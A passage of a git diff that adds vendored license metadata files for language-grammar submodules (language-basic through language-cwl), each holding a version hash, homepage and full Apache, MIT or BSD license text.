+++ b/vendor/licenses/git_submodule/language-basic.dep.yml
@@ -0,0 +1,211 @@
+---
+name: language-basic
+version: '01389176c0a7048f164fd7357683e8702dc93f3a'
+type: git_submodule
+homepage: https://github.com/telnet23/language-basic
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2021 - Present https://github.com/telnet23
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-batchfile.dep.yml b/vendor/licenses/git_submodule/language-batchfile.dep.yml
new file mode 100644
index 0000000000..21197be8a5
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-batchfile.dep.yml
@@ -0,0 +1,29 @@
+---
+name: language-batchfile
+version: 9d074abbf4ff32c265cdcc266297d93fa6bdd999
+type: git_submodule
+homepage: https://github.com/mmims/language-batchfile
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2021 Michael Mims
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-bh.dep.yml b/vendor/licenses/git_submodule/language-bh.dep.yml
new file mode 100644
index 0000000000..19a3219c76
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-bh.dep.yml
@@ -0,0 +1,41 @@
+---
+name: language-bh
+version: 803ee327190ef7974caeba4ecbf24158efb33633
+type: git_submodule
+homepage: https://github.com/B-Lang-org/language-bh.git
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2023 Thomas Bourgeat
+    Copyright (c) 2017 Justus Adam
+
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+        * Redistributions of source code must retain the above copyright
+          notice, this list of conditions and the following disclaimer.
+
+        * Redistributions in binary form must reproduce the above
+          copyright notice, this list of conditions and the following
+          disclaimer in the documentation and/or other materials provided
+          with the distribution.
+
+        * Neither the name of Justus Adam nor the names of other
+          contributors may be used to endorse or promote products derived
+          from this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+    "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+    LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+    A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+    OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+    LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+    DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+    THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+    (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-blade.dep.yml b/vendor/licenses/git_submodule/language-blade.dep.yml
new file mode 100644
index 0000000000..4b1c995e2e
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-blade.dep.yml
@@ -0,0 +1,63 @@
+---
+type: git_submodule
+name: language-blade
+version: 877d3f66f8a7bbdc933c3b4f950f520bd671a244
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2016 Andreas Olsson, Indrek Ardel
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package uses parts from [Atom language-php package](https://github.com/atom/language-php).
+
+    > Copyright (c) 2014 GitHub Inc.
+
+    > Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    > The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    > THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    > --------------------------------------------------------------------
+
+    > This package was derived from a TextMate bundle located at
+    https://github.com/textmate/php.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    > Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-click.dep.yml b/vendor/licenses/git_submodule/language-click.dep.yml
new file mode 100644
index 0000000000..05c9235a99
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-click.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-click
+version: 104f915f6228fb04ac9301993227b4649dc71eef
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2015 Sten Verbois
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-clojure.dep.yml b/vendor/licenses/git_submodule/language-clojure.dep.yml
new file mode 100644
index 0000000000..5e80b70242
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-clojure.dep.yml
@@ -0,0 +1,58 @@
+---
+name: language-clojure
+version: 67b6135aa3331afe34d5cd6dd089c2762f1953d4
+type: git_submodule
+homepage: https://github.com/atom/language-clojure
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/mmcgrana/textmate-clojure and distributed under the
+    following license, located in `LICENSE.md`:
+
+    The MIT License (MIT)
+
+    Copyright (c) 2010- Mark McGranaghan
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-closure-templates.dep.yml b/vendor/licenses/git_submodule/language-closure-templates.dep.yml
new file mode 100644
index 0000000000..bf9849928d
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-closure-templates.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: language-closure-templates
+version: 6b2d820cbf594533ca08e600b2c0d79008d5bf2a
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    Copyright (c) 2017 Michael T. Hadley
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-coffee-script.dep.yml b/vendor/licenses/git_submodule/language-coffee-script.dep.yml
new file mode 100644
index 0000000000..21694dfd56
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-coffee-script.dep.yml
@@ -0,0 +1,59 @@
+---
+name: language-coffee-script
+version: d2d52a5e3653424b609975163ee874578ebaad5c
+type: git_submodule
+homepage: https://github.com/atom/language-coffee-script
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/jashkenas/coffee-script-tmbundle and distributed under the
+    following license, located in `LICENSE`:
+
+    Copyright (c) 2009-2014 Jeremy Ashkenas
+
+    Permission is hereby granted, free of charge, to any person
+    obtaining a copy of this software and associated documentation
+    files (the "Software"), to deal in the Software without
+    restriction, including without limitation the rights to use,
+    copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the
+    Software is furnished to do so, subject to the following
+    conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-crystal.dep.yml b/vendor/licenses/git_submodule/language-crystal.dep.yml
new file mode 100644
index 0000000000..05fbd34bfb
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-crystal.dep.yml
@@ -0,0 +1,41 @@
+---
+name: language-crystal
+version: 48b87f541ad787ffab5d4a4a1d366f5db16bca1a
+type: git_submodule
+homepage: https://github.com/atom-crystal/language-crystal
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/ruby.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-csound.dep.yml b/vendor/licenses/git_submodule/language-csound.dep.yml
new file mode 100644
index 0000000000..1d76ebf61c
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-csound.dep.yml
@@ -0,0 +1,17 @@
+---
+name: language-csound
+version: 0adcfa7230f54b116d4605efa639d870cec48605
+type: git_submodule
+homepage: https://github.com/nwhetsell/language-csound
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright © Nathan Whetsell and other contributors
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-css.dep.yml b/vendor/licenses/git_submodule/language-css.dep.yml
new file mode 100644
index 0000000000..469cedb956
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-css.dep.yml
@@ -0,0 +1,41 @@
+---
+name: language-css
+version: 9e4afce058b4593edf03ed1dec6033b163c678f0
+type: git_submodule
+homepage: https://github.com/atom/language-css
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/css.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-cwl.dep.yml b/vendor/licenses/git_submodule/language-cwl.dep.yml
new file mode 100644
index 0000000000..d159bbca71
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-cwl.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: language-cwl
+version: 6b84a6c2ae14469595c6996cd4a93cd3bdbfc5cd
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    Copyright (c) 2017 Manabu Ishii RIKEN Bioinformatics Research Unit
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
